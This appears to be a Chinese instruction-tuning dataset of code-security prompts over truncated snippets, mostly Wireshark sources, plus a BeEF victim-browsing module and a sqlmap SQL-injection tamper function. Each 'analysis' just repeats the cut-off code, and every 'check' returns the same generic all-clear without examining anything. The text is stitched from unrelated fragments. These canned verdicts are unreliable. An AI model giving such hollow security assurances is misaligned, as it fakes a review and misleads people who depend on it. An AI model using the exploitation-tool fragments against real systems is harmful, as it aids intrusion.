        emit commitData(editor);
}

void PathSelectionDelegate::updateEditorGeometry(QWidget *editor, const QStyleOptionViewItem &option, const QModelIndex &) const
{
    editor->setGeometry(option.rect);
}

void PathSelectionDelegate::setEditorData(QWidget *editor, const QModelIndex &idx) const
{
    if (idx.isValid() && qobject_cast<PathSelectionEdit *>(editor) != nullptr)
    {
        PathSelectionEdit * edit = qobject_cast<PathSelectionEdit *>(editor);
        edit->setPath(idx.data().toString());
    }
    else
        QStyledItemDelegate::setEditorData(editor, idx);
}

void PathSelectionDelegate::setModelData(QWidget *editor, QAbstractItemModel * model, const QModelIndex &idx) const
{
    if (idx.isValid() && qobject_cast<PathSelectionEdit *>(editor) != nullptr)
    {
        PathSelectionEdit * edit = qobject_cast<PathSelectionEdit *>(editor);
        model->setData(idx, edit->path());
    }
    else
    {
        QStyledItemDelegate::setModelData(editor, model, idx);
    }
}

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-foundry.c
 * Routines for the disassembly of Foundry LLC messages (currently
 * Foundry Discovery Protocol - FDP only)
 *
 * Copyright 2012 Joerg Mayer (see AUTHORS file)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/strutil.h>
#include "packet-llc.h"
#include <epan/oui.h>

void proto_register_fdp(void);
void proto_reg_handoff_fdp(void);

static dissector_handle_t fdp_handle;

static int hf_llc_foundry_pid = -1;

static int proto_fdp = -1;
/* FDP header */
static int hf_fdp_version = -1;
static int hf_fdp_holdtime = -1;
static int hf_fdp_checksum = -1;
/* TLV header */
static int hf_fdp_tlv_type = -1;
static int hf_fdp_tlv_length = -1;
/* Unknown element */
static int hf_fdp_unknown = -1;
static int hf_fdp_unknown_data = -1;
/* Port Tag element */
static int hf_fdp_tag = -1;
static int hf_fdp_tag_native = -1;
static int hf_fdp_tag_type = -1;
static int hf_fdp_tag_unknown = -1;
/* VLAN Bitmap */
static int hf_fdp_vlanmap = -1;
static int hf_fdp_vlanmap_vlan = -1;
/* String element */
static int hf_fdp_string = -1;
static int hf_fdp_string_data = -1;
static int hf_fdp_string_text = -1;
/* Net? element */
static int hf_fdp_net = -1;
static int hf_fdp_net_unknown = -1;
static int hf_fdp_net_ip = -1;
static int hf_fdp_net_iplength = -1;

static gint ett_fdp = -1;
static gint ett_fdp_tlv_header = -1;
static gint ett_fdp_unknown = -1;
static gint ett_fdp_string = -1;
static gint ett_fdp_net = -1;
static gint ett_fdp_tag = -1;
static gint ett_fdp_vlanmap = -1;

static expert_field ei_fdp_tlv_length = EI_INIT;

#define PROTO_SHORT_NAME "FDP"
#define PROTO_LONG_NAME "Foundry Discovery Protocol"

static const value_string foundry_pid_vals[] = {
	{ 0x2000,	"FDP" },

	{ 0,		NULL }
};

typedef enum {
	FDP_TYPE_NAME = 1,
	FDP_TYPE_NET = 2,
	FDP_TYPE_PORT = 3,
	FDP_T...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-foundry.c
 * Routines for the disassembly of Foundry LLC messages (currently
 * Foundry Discovery Protocol - FDP only)
 *
 * Copyright 2012 Joerg Mayer (see AUTHORS file)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/strutil.h>
#include "packet-llc.h"
#include <epan/oui.h>

void proto_register_fdp(void);
void proto_reg_handoff_fdp(void);

static dissector_handle_t fdp_handle;

static int hf_llc_foundry_pid = -1;

static int proto_fdp = -1;
/* FDP header */
static int hf_fdp_version = -1;
static int hf_fdp_holdtime = -1;
static int hf_fdp_checksum = -1;
/* TLV header */
static int hf_fdp_tlv_type = -1;
static int hf_fdp_tlv_length = -1;
/* Unknown element */
static int hf_fdp_unknown = -1;
static int hf_fdp_unknown_data = -1;
/* Port Tag element */
static int hf_fdp_tag = -1;
static int hf_fdp_tag_native = -1;
static int hf_fdp_tag_type = -1;
static int hf_fdp_tag_unknown = -1;
/* VLAN Bitmap */
static int hf_fdp_vlanmap = -1;
static int hf_fdp_vlanmap_vlan = -1;
/* String element */
static int hf_fdp_string = -1;
static int hf_fdp_string_data = -1;
static int hf_fdp_string_text = -1;
/* Net? element */
static int hf_fdp_net = -1;
static int hf_fdp_net_unknown = -1;
static int hf_fdp_net_ip = -1;
static int hf_fdp_net_iplength = -1;

static gint ett_fdp = -1;
static gint ett_fdp_tlv_header = -1;
static gint ett_fdp_unknown = -1;
static gint ett_fdp_string = -1;
static gint ett_fdp_net = -1;
static gint ett_fdp_tag = -1;
static gint ett_fdp_vlanmap = -1;

static expert_field ei_fdp_tlv_length = EI_INIT;

#define PROTO_SHORT_NAME "FDP"
#define PROTO_LONG_NAME "Foundry Discovery Protocol"

static const value_string foundry_pid_vals[] = {
	{ 0x2000,	"FDP" },

	{ 0,		NULL }
};

typedef enum {
	FDP_TYPE_NAME = 1,
	FDP_TYPE_NET = 2,
	FDP_TYPE_PORT = 3,
	FDP_T...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-dcerpc-rs_prop_attr.c
 *
 * Routines for rs_prop_attr dissection
 * Copyright 2004, Jaime Fournier <jaime.fournier@hush.com>
 * This information is based off the released idl files from opengroup.
 * ftp://ftp.opengroup.org/pub/dce122/dce/src/security.tar.gz security/idl/rs_prop_attr.idl
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-dcerpc.h"

void proto_register_rs_prop_attr (void);
void proto_reg_handoff_rs_prop_attr (void);

static int proto_rs_prop_attr = -1;
static int hf_rs_prop_attr_opnum = -1;

static gint ett_rs_prop_attr = -1;
static e_guid_t uuid_rs_prop_attr =
  { 0x0eff23e6, 0x555a, 0x11cd, {0x95, 0xbf, 0x08, 0x00, 0x09, 0x27, 0x84,
                                 0xc3} };

static guint16 ver_rs_prop_attr = 1;

static dcerpc_sub_dissector rs_prop_attr_dissectors[] = {
  {0, "update", NULL, NULL},
  {1, "delete", NULL, NULL},
  {0, NULL, NULL, NULL}
};

void
proto_register_rs_prop_attr (void)
{
  static hf_register_info hf[] = {
    {&hf_rs_prop_attr_opnum,
     {"Operation", "rs_prop_attr.opnum", FT_UINT16, BASE_DEC, NULL, 0x0,
      NULL, HFILL}},
  };

  static gint *ett[] = {
    &ett_rs_prop_attr,
  };
  proto_rs_prop_attr =
    proto_register_protocol ("DCE/RPC Prop Attr", "rs_prop_attr",
                             "rs_prop_attr");
  proto_register_field_array (proto_rs_prop_attr, hf, array_length (hf));
  proto_register_subtree_array (ett, array_length (ett));
}

void
proto_reg_handoff_rs_prop_attr (void)
{
  /* Register the protocol as dcerpc */
  dcerpc_init_uuid (proto_rs_prop_attr, ett_rs_prop_attr, &uuid_rs_prop_attr,
                    ver_rs_prop_attr, rs_prop_attr_dissectors,
                    hf_rs_prop_attr_opnum);
}

/*
 * Editor modelines  -  https://www.wireshark.org/tools/modelines.html
 *
 * Local Variables:
 * c-basic-offset: 2
 *...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-dcerpc-rs_prop_attr.c
 *
 * Routines for rs_prop_attr dissection
 * Copyright 2004, Jaime Fournier <jaime.fournier@hush.com>
 * This information is based off the released idl files from opengroup.
 * ftp://ftp.opengroup.org/pub/dce122/dce/src/security.tar.gz security/idl/rs_prop_attr.idl
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-dcerpc.h"

void proto_register_rs_prop_attr (void);
void proto_reg_handoff_rs_prop_attr (void);

static int proto_rs_prop_attr = -1;
static int hf_rs_prop_attr_opnum = -1;

static gint ett_rs_prop_attr = -1;
static e_guid_t uuid_rs_prop_attr =
  { 0x0eff23e6, 0x555a, 0x11cd, {0x95, 0xbf, 0x08, 0x00, 0x09, 0x27, 0x84,
                                 0xc3} };

static guint16 ver_rs_prop_attr = 1;

static dcerpc_sub_dissector rs_prop_attr_dissectors[] = {
  {0, "update", NULL, NULL},
  {1, "delete", NULL, NULL},
  {0, NULL, NULL, NULL}
};

void
proto_register_rs_prop_attr (void)
{
  static hf_register_info hf[] = {
    {&hf_rs_prop_attr_opnum,
     {"Operation", "rs_prop_attr.opnum", FT_UINT16, BASE_DEC, NULL, 0x0,
      NULL, HFILL}},
  };

  static gint *ett[] = {
    &ett_rs_prop_attr,
  };
  proto_rs_prop_attr =
    proto_register_protocol ("DCE/RPC Prop Attr", "rs_prop_attr",
                             "rs_prop_attr");
  proto_register_field_array (proto_rs_prop_attr, hf, array_length (hf));
  proto_register_subtree_array (ett, array_length (ett));
}

void
proto_reg_handoff_rs_prop_attr (void)
{
  /* Register the protocol as dcerpc */
  dcerpc_init_uuid (proto_rs_prop_attr, ett_rs_prop_attr, &uuid_rs_prop_attr,
                    ver_rs_prop_attr, rs_prop_attr_dissectors,
                    hf_rs_prop_attr_opnum);
}

/*
 * Editor modelines  -  https://www.wireshark.org/tools/modelines.html
 *
 * Local Variables:
 * c-basic-offset: 2
 *...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

class Get_visited_domains < BeEF::Core::Command
  def self.options
    [{
      'name' => 'domains',
      'description' => 'Specify additional resources to fetch during visited domains analysis. Paste to the below field full URLs leading to CSS, image, JS or other *static* resources hosted on desired page. Separate domain names with url by using semicolon (;). Next domains separate by comma (,).',
      'type' => 'textarea',
      'ui_label' => 'Specify custom page to check',
      'value' => 'Github ; https://assets-cdn.github.com/favicon.ico,',
      'width' => '400px',
      'height' => '200px'
    }]
  end

  def post_execute
    content = {}
    content['results'] = @datastore['results']
    save content
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

class Get_visited_domains < BeEF::Core::Command
  def self.options
    [{
      'name' => 'domains',
      'description' => 'Specify additional resources to fetch during visited domains analysis. Paste to the below field full URLs leading to CSS, image, JS or other *static* resources hosted on desired page. Separate domain names with url by using semicolon (;). Next domains separate by comma (,).',
      'type' => 'textarea',
      'ui_label' => 'Specify custom page to check',
      'value' => 'Github ; https://assets-cdn.github.com/favicon.ico,',
      'width' => '400px',
      'height' => '200px'
    }]
  end

  def post_execute
    content = {}
    content['results'] = @datastore['results']
    save content
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* decode_as_dialog.cpp
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "decode_as_dialog.h"
#include <ui_decode_as_dialog.h>

#include "epan/decode_as.h"
#include "epan/epan_dissect.h"

#include "ui/decode_as_utils.h"
#include "ui/simple_dialog.h"
#include "wsutil/filesystem.h"
#include <wsutil/utf8_entities.h>

#include <ui/qt/widgets/copy_from_profile_button.h>
#include <ui/qt/utils/qt_ui_utils.h>
#include "main_application.h"

#include <ui/qt/utils/variant_pointer.h>

#include <QComboBox>
#include <QFont>
#include <QFontMetrics>
#include <QLineEdit>
#include <QUrl>

#include <QDebug>

// To do:
// - Ranges
// - Add DCERPC support (or make DCERPC use a regular dissector table?)

DecodeAsDialog::DecodeAsDialog(QWidget *parent, capture_file *cf, bool create_new) :
    GeometryStateDialog(parent),
    ui(new Ui::DecodeAsDialog),
    model_(new DecodeAsModel(this, cf)),
    delegate_(NULL)
{
    ui->setupUi(this);
    loadGeometry();

    delegate_ = new DecodeAsDelegate(ui->decodeAsTreeView, cf);

    ui->decodeAsTreeView->setModel(model_);
    ui->decodeAsTreeView->setItemDelegate(delegate_);

    ui->newToolButton->setStockIcon("list-add");
    ui->deleteToolButton->setStockIcon("list-remove");
    ui->copyToolButton->setStockIcon("list-copy");
    ui->clearToolButton->setStockIcon("list-clear");

#ifdef Q_OS_MAC
    ui->newToolButton->setAttribute(Qt::WA_MacSmallSize, true);
    ui->deleteToolButton->setAttribute(Qt::WA_MacSmallSize, true);
    ui->copyToolButton->setAttribute(Qt::WA_MacSmallSize, true);
    ui->clearToolButton->setAttribute(Qt::WA_MacSmallSize, true);
    ui->pathLabel->setAttribute(Qt::WA_MacSmallSize, true);
#endif

    setWindowTitle(mainApp->windowTitleString(tr("Decode As…")));

    QString abs_path = gchar_free_to_qstring(get_persconffile_path(DECODE_AS_ENTRIES_FILE_NAME, TRUE));
    if (file_exists(abs_path.toU...


Instruction: 检查这段代码是否存在安全问题

Input:
/* decode_as_dialog.cpp
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "decode_as_dialog.h"
#include <ui_decode_as_dialog.h>

#include "epan/decode_as.h"
#include "epan/epan_dissect.h"

#include "ui/decode_as_utils.h"
#include "ui/simple_dialog.h"
#include "wsutil/filesystem.h"
#include <wsutil/utf8_entities.h>

#include <ui/qt/widgets/copy_from_profile_button.h>
#include <ui/qt/utils/qt_ui_utils.h>
#include "main_application.h"

#include <ui/qt/utils/variant_pointer.h>

#include <QComboBox>
#include <QFont>
#include <QFontMetrics>
#include <QLineEdit>
#include <QUrl>

#include <QDebug>

// To do:
// - Ranges
// - Add DCERPC support (or make DCERPC use a regular dissector table?)

DecodeAsDialog::DecodeAsDialog(QWidget *parent, capture_file *cf, bool create_new) :
    GeometryStateDialog(parent),
    ui(new Ui::DecodeAsDialog),
    model_(new DecodeAsModel(this, cf)),
    delegate_(NULL)
{
    ui->setupUi(this);
    loadGeometry();

    delegate_ = new DecodeAsDelegate(ui->decodeAsTreeView, cf);

    ui->decodeAsTreeView->setModel(model_);
    ui->decodeAsTreeView->setItemDelegate(delegate_);

    ui->newToolButton->setStockIcon("list-add");
    ui->deleteToolButton->setStockIcon("list-remove");
    ui->copyToolButton->setStockIcon("list-copy");
    ui->clearToolButton->setStockIcon("list-clear");

#ifdef Q_OS_MAC
    ui->newToolButton->setAttribute(Qt::WA_MacSmallSize, true);
    ui->deleteToolButton->setAttribute(Qt::WA_MacSmallSize, true);
    ui->copyToolButton->setAttribute(Qt::WA_MacSmallSize, true);
    ui->clearToolButton->setAttribute(Qt::WA_MacSmallSize, true);
    ui->pathLabel->setAttribute(Qt::WA_MacSmallSize, true);
#endif

    setWindowTitle(mainApp->windowTitleString(tr("Decode As…")));

    QString abs_path = gchar_free_to_qstring(get_persconffile_path(DECODE_AS_ENTRIES_FILE_NAME, TRUE));
    if (file_exists(abs_path.toU...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces instances of UNION ALL SELECT with UNION SELECT counterpart

    >>> tamper('-1 UNION ALL SELECT')
    '-1 UNION SELECT'
    """

    return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces instances of UNION ALL SELECT with UNION SELECT counterpart

    >>> tamper('-1 UNION ALL SELECT')
    '-1 UNION SELECT'
    """

    return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# vim: set fileencoding=utf-8 :

# ***********************IMPORTANT NMAP LICENSE TERMS************************
# *
# * The Nmap Security Scanner is (C) 1996-2023 Nmap Software LLC ("The Nmap
# * Project"). Nmap is also a registered trademark of the Nmap Project.
# *
# * This program is distributed under the terms of the Nmap Public Source
# * License (NPSL). The exact license text applying to a particular Nmap
# * release or source code control revision is contained in the LICENSE
# * file distributed with that version of Nmap or source code control
# * revision. More Nmap copyright/legal information is available from
# * https://nmap.org/book/man-legal.html, and further information on the
# * NPSL license itself can be found at https://nmap.org/npsl/ . This
# * header summarizes some key points from the Nmap license, but is no
# * substitute for the actual license text.
# *
# * Nmap is generally free for end users to download and use themselves,
# * including commercial use. It is available from https://nmap.org.
# *
# * The Nmap license generally prohibits companies from using and
# * redistributing Nmap in commercial products, but we sell a special Nmap
# * OEM Edition with a more permissive license and special features for
# * this purpose. See https://nmap.org/oem/
# *
# * If you have received a written Nmap license agreement or contract
# * stating terms other than these (such as an Nmap OEM license), you may
# * choose to use and redistribute Nmap under those terms instead.
# *
# * The official Nmap Windows builds include the Npcap software
# * (https://npcap.com) for packet capture and transmission. It is under
# * separate license terms which forbid redistribution without special
# * permission. So the official Nmap Windows builds may not be redistributed
# * without special permission (such as an Nmap OEM license).
# *
# * Source is provided to this software because we believe users have a
# * right to know exactly what a program is going to do before they...


Instruction: 检查这段代码是否存在安全问题

Input:
# vim: set fileencoding=utf-8 :

# ***********************IMPORTANT NMAP LICENSE TERMS************************
# *
# * The Nmap Security Scanner is (C) 1996-2023 Nmap Software LLC ("The Nmap
# * Project"). Nmap is also a registered trademark of the Nmap Project.
# *
# * This program is distributed under the terms of the Nmap Public Source
# * License (NPSL). The exact license text applying to a particular Nmap
# * release or source code control revision is contained in the LICENSE
# * file distributed with that version of Nmap or source code control
# * revision. More Nmap copyright/legal information is available from
# * https://nmap.org/book/man-legal.html, and further information on the
# * NPSL license itself can be found at https://nmap.org/npsl/ . This
# * header summarizes some key points from the Nmap license, but is no
# * substitute for the actual license text.
# *
# * Nmap is generally free for end users to download and use themselves,
# * including commercial use. It is available from https://nmap.org.
# *
# * The Nmap license generally prohibits companies from using and
# * redistributing Nmap in commercial products, but we sell a special Nmap
# * OEM Edition with a more permissive license and special features for
# * this purpose. See https://nmap.org/oem/
# *
# * If you have received a written Nmap license agreement or contract
# * stating terms other than these (such as an Nmap OEM license), you may
# * choose to use and redistribute Nmap under those terms instead.
# *
# * The official Nmap Windows builds include the Npcap software
# * (https://npcap.com) for packet capture and transmission. It is under
# * separate license terms which forbid redistribution without special
# * permission. So the official Nmap Windows builds may not be redistributed
# * without special permission (such as an Nmap OEM license).
# *
# * Source is provided to this software because we believe users have a
# * right to know exactly what a program is going to do before they...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-nbipx.c
 * Routines for NetBIOS over IPX packet disassembly
 * Gilbert Ramirez <gram@alumni.rice.edu>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-ipx.h"
#include "packet-netbios.h"

void proto_register_nbipx(void);
void proto_reg_handoff_nbipx(void);
void proto_register_nmpi(void);
void proto_reg_handoff_nmpi(void);

static dissector_handle_t nbipx_handle;
static dissector_handle_t nmpi_handle;

static int proto_nbipx = -1;
static int hf_nbipx_packettype = -1;
static int hf_nbipx_name_flags = -1;
static int hf_nbipx_name_flags_group = -1;
static int hf_nbipx_name_flags_in_use = -1;
static int hf_nbipx_name_flags_registered = -1;
static int hf_nbipx_name_flags_duplicated = -1;
static int hf_nbipx_name_flags_deregistered = -1;
static int hf_nbipx_conn_control = -1;
static int hf_nbipx_conn_control_sys_packet = -1;
static int hf_nbipx_conn_control_ack = -1;
static int hf_nbipx_conn_control_attention = -1;
static int hf_nbipx_conn_control_end_msg = -1;
static int hf_nbipx_conn_control_resend = -1;
static int hf_nbipx_session_src_conn_id = -1;
static int hf_nbipx_session_dest_conn_id = -1;
static int hf_nbipx_session_send_seq_number = -1;
static int hf_nbipx_session_total_data_length = -1;
static int hf_nbipx_session_offset = -1;
static int hf_nbipx_session_data_length = -1;
static int hf_nbipx_session_recv_seq_number = -1;
static int hf_nbipx_session_bytes_received = -1;
static int hf_nbipx_ipx_network = -1;
static int hf_nbipx_opcode = -1;
static int hf_nbipx_name_type = -1;
static int hf_nbipx_messageid = -1;

static gint ett_nbipx = -1;
static gint ett_nbipx_conn_ctrl = -1;
static gint ett_nbipx_name_type_flags = -1;

static void dissect_conn_control(tvbuff_t *tvb, int offset, proto_tree *tree);

static heur_dissector_list_t netbios_heur_subdissector_list;

/* There is no ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-nbipx.c
 * Routines for NetBIOS over IPX packet disassembly
 * Gilbert Ramirez <gram@alumni.rice.edu>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include "packet-ipx.h"
#include "packet-netbios.h"

void proto_register_nbipx(void);
void proto_reg_handoff_nbipx(void);
void proto_register_nmpi(void);
void proto_reg_handoff_nmpi(void);

static dissector_handle_t nbipx_handle;
static dissector_handle_t nmpi_handle;

static int proto_nbipx = -1;
static int hf_nbipx_packettype = -1;
static int hf_nbipx_name_flags = -1;
static int hf_nbipx_name_flags_group = -1;
static int hf_nbipx_name_flags_in_use = -1;
static int hf_nbipx_name_flags_registered = -1;
static int hf_nbipx_name_flags_duplicated = -1;
static int hf_nbipx_name_flags_deregistered = -1;
static int hf_nbipx_conn_control = -1;
static int hf_nbipx_conn_control_sys_packet = -1;
static int hf_nbipx_conn_control_ack = -1;
static int hf_nbipx_conn_control_attention = -1;
static int hf_nbipx_conn_control_end_msg = -1;
static int hf_nbipx_conn_control_resend = -1;
static int hf_nbipx_session_src_conn_id = -1;
static int hf_nbipx_session_dest_conn_id = -1;
static int hf_nbipx_session_send_seq_number = -1;
static int hf_nbipx_session_total_data_length = -1;
static int hf_nbipx_session_offset = -1;
static int hf_nbipx_session_data_length = -1;
static int hf_nbipx_session_recv_seq_number = -1;
static int hf_nbipx_session_bytes_received = -1;
static int hf_nbipx_ipx_network = -1;
static int hf_nbipx_opcode = -1;
static int hf_nbipx_name_type = -1;
static int hf_nbipx_messageid = -1;

static gint ett_nbipx = -1;
static gint ett_nbipx_conn_ctrl = -1;
static gint ett_nbipx_name_type_flags = -1;

static void dissect_conn_control(tvbuff_t *tvb, int offset, proto_tree *tree);

static heur_dissector_list_t netbios_heur_subdissector_list;

/* There is no ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# [1.0.0](https://bitbucket.org/skylogistics/woocommerce-front) (2018-07-06)
### Features
* **`Add` :** Add basic version.
* **`Add` :** Add support functionalities to config products with differents prices.
* **`Add` :** Stable version (Checked by QA).

# [1.0.1](https://bitbucket.org/skylogistics/woocommerce-front) (2018-07-25)
### Features
* **`Fixed` :** Commodities on multiple categories.
* **`Fixed` :** Commodities on configurable products.

# [1.2.1](https://bitbucket.org/skylogistics/woocommerce-front) (2018-08-05)
### Features
* **`Add` :** option method to save the integration type.
* **`Fixed` :** PHP format to public the plugin.

# [1.2.2](https://bitbucket.org/skylogistics/woocommerce-front) (2018-08-17)
### Features
* **`Add` :** Logic to prevent API error.
* **`Add` :** Logic to prevent incompatibility with another woocommerce-plugin.

# [1.2.3](https://bitbucket.org/skylogistics/woocommerce-front) (2018-08-20)
### Features
* **`Fixed` :** Logic to change price on variable products and custom options.

# [1.2.4](https://bitbucket.org/skylogistics/woocommerce-front) (2018-08-27)
### Features
* **`Add` :** Logic to prevent API error (change on session variables).

# [1.3.0](https://bitbucket.org/skylogistics/woocommerce-front) (2018-08-24)
### Features
* **`Remove` :** SDK Library.
* **`Add` :** Skybox Gateway to connect to Skybox API.
* **`Add` :** Logic to prevent error 500 on Skybox API problem.
* **`Add` :** Admin - Message after connect to SkyCheckout Api and logic to recognizing the connection problem.
* **`Add` :** Validation on native page (Prevent print sbc-price labels).

# [1.3.1](https://bitbucket.org/skylogistics/woocommerce-front) (2018-11-09)
### Features
* **`Add` :** Compatibility with ajax call on templates to get products.
* **`Add` :** Compatibility with woocommerce plugins.
* **`Fixed` :** Installation problem on creation of skybox pages.

### Versions
* `Support, PHP V. 5.6.X, 7.0.X`
* `Support, Woocommerce V. 2.6 or later`


Instruction: 检查这段代码是否存在安全问题

Input:
# [1.0.0](https://bitbucket.org/skylogistics/woocommerce-front) (2018-07-06)
### Features
* **`Add` :** Add basic version.
* **`Add` :** Add support functionalities to config products with differents prices.
* **`Add` :** Stable version (Checked by QA).

# [1.0.1](https://bitbucket.org/skylogistics/woocommerce-front) (2018-07-25)
### Features
* **`Fixed` :** Commodities on multiple categories.
* **`Fixed` :** Commodities on configurable products.

# [1.2.1](https://bitbucket.org/skylogistics/woocommerce-front) (2018-08-05)
### Features
* **`Add` :** option method to save the integration type.
* **`Fixed` :** PHP format to public the plugin.

# [1.2.2](https://bitbucket.org/skylogistics/woocommerce-front) (2018-08-17)
### Features
* **`Add` :** Logic to prevent API error.
* **`Add` :** Logic to prevent incompatibility with another woocommerce-plugin.

# [1.2.3](https://bitbucket.org/skylogistics/woocommerce-front) (2018-08-20)
### Features
* **`Fixed` :** Logic to change price on variable products and custom options.

# [1.2.4](https://bitbucket.org/skylogistics/woocommerce-front) (2018-08-27)
### Features
* **`Add` :** Logic to prevent API error (change on session variables).

# [1.3.0](https://bitbucket.org/skylogistics/woocommerce-front) (2018-08-24)
### Features
* **`Remove` :** SDK Library.
* **`Add` :** Skybox Gateway to connect to Skybox API.
* **`Add` :** Logic to prevent error 500 on Skybox API problem.
* **`Add` :** Admin - Message after connect to SkyCheckout Api and logic to recognizing the connection problem.
* **`Add` :** Validation on native page (Prevent print sbc-price labels).

# [1.3.1](https://bitbucket.org/skylogistics/woocommerce-front) (2018-11-09)
### Features
* **`Add` :** Compatibility with ajax call on templates to get products.
* **`Add` :** Compatibility with woocommerce plugins.
* **`Fixed` :** Installation problem on creation of skybox pages.

### Versions
* `Support, PHP V. 5.6.X, 7.0.X`
* `Support, Woocommerce V. 2.6 or later`

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-app-pkix-cert.c
 *
 * Routines for application/pkix-cert media dissection
 * Copyright 2004, Yaniv Kaul.
 *
 * Refer to the AUTHORS file or the AUTHORS section in the man page
 * for contacting the author(s) of this file.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/asn1.h>
#include "packet-x509af.h"

void proto_register_cert(void);
void proto_reg_handoff_cert(void);

static dissector_handle_t cert_handle;

/* Initialize the protocol and registered fields */
static int proto_cert = -1;

static gint hf_cert = -1;

/* Initialize the subtree pointers */
static gint ett_cert = -1;

static int
dissect_cert(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
        proto_tree *subtree = NULL;
        proto_item *ti;
        asn1_ctx_t asn1_ctx;
        asn1_ctx_init(&asn1_ctx, ASN1_ENC_BER, TRUE, pinfo);

        col_append_sep_str(pinfo->cinfo, COL_INFO, " ", "(application/pkix-cert)");

        if (tree) {
                ti = proto_tree_add_item(tree, proto_cert, tvb, 0, -1, ENC_NA);
                subtree = proto_item_add_subtree(ti, ett_cert);
        }

        dissect_x509af_Certificate(FALSE, tvb, 0, &asn1_ctx, subtree, hf_cert);
        return tvb_captured_length(tvb);
}

/****************** Register the protocol with Wireshark ******************/

/* This format is required because a script is used to build the C function
 * that calls the protocol registration. */

void
proto_register_cert(void)
{
        /*
         * Setup list of header fields.
         */
        static hf_register_info hf[] = {
                { &hf_cert,
                { "Certificate", "pkix-cert.cert", FT_NONE, BASE_NONE, NULL, 0x00, NULL, HFILL}},
        };

        /* Setup protocol subtree array */
        static gint *ett[] = {
                &ett_cert,
        };...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-app-pkix-cert.c
 *
 * Routines for application/pkix-cert media dissection
 * Copyright 2004, Yaniv Kaul.
 *
 * Refer to the AUTHORS file or the AUTHORS section in the man page
 * for contacting the author(s) of this file.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/asn1.h>
#include "packet-x509af.h"

void proto_register_cert(void);
void proto_reg_handoff_cert(void);

static dissector_handle_t cert_handle;

/* Initialize the protocol and registered fields */
static int proto_cert = -1;

static gint hf_cert = -1;

/* Initialize the subtree pointers */
